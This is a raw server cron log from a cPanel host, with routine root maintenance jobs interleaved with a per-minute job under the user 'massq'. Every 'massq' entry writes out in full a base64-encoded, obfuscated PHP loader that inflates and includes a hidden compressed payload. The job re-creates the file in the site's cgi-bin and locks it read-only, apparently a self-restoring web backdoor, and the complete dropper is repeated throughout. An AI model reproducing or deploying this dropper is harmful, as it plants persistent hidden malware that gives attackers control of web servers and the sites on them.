Sep  6 13:25:01 server CROND[15114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:25:01 server CROND[15115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:25:01 server CROND[15117]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:25:01 server CROND[15116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:26:01 server CROND[15954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:26:01 server CROND[15955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:26:01 server CROND[15956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:27:01 server CROND[16389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:27:01 server CROND[16388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:27:01 server CROND[16390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:27:01 server CROND[16391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:28:01 server CROND[16821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:28:01 server CROND[16822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:28:01 server CROND[16823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:29:01 server CROND[17202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:29:01 server CROND[17203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:29:01 server CROND[17204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:30:01 server CROND[17657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:30:01 server CROND[17659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:30:01 server CROND[17658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:30:01 server CROND[17660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:30:01 server CROND[17663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:30:01 server CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:30:01 server CROND[17664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:30:01 server CROND[17662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:31:01 server CROND[18550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:31:01 server CROND[18551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:31:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:32:01 server CROND[18932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:32:01 server CROND[18933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:32:01 server CROND[18934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:33:01 server CROND[19342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:33:01 server CROND[19341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:33:01 server CROND[19343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:34:01 server CROND[19729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:34:01 server CROND[19730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:34:01 server CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:35:01 server CROND[20140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:35:01 server CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:35:01 server CROND[20148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:35:01 server CROND[20146]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:35:01 server CROND[20151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:35:01 server CROND[20147]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 13:35:01 server CROND[20150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:35:01 server CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:35:01 server CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:36:02 server CROND[21100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:36:02 server CROND[21101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:36:02 server CROND[21102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:37:01 server CROND[21482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
